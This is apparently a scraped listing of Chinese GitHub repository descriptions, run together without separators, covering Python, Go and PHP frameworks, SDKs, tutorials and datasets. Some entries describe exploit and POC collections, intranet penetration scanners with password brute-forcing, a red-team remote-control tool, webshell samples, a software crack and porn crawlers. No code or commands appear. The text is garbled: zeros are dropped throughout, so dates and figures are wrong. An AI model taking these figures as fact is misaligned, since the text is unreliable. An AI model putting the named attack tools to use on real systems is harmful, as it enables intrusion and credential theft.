美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 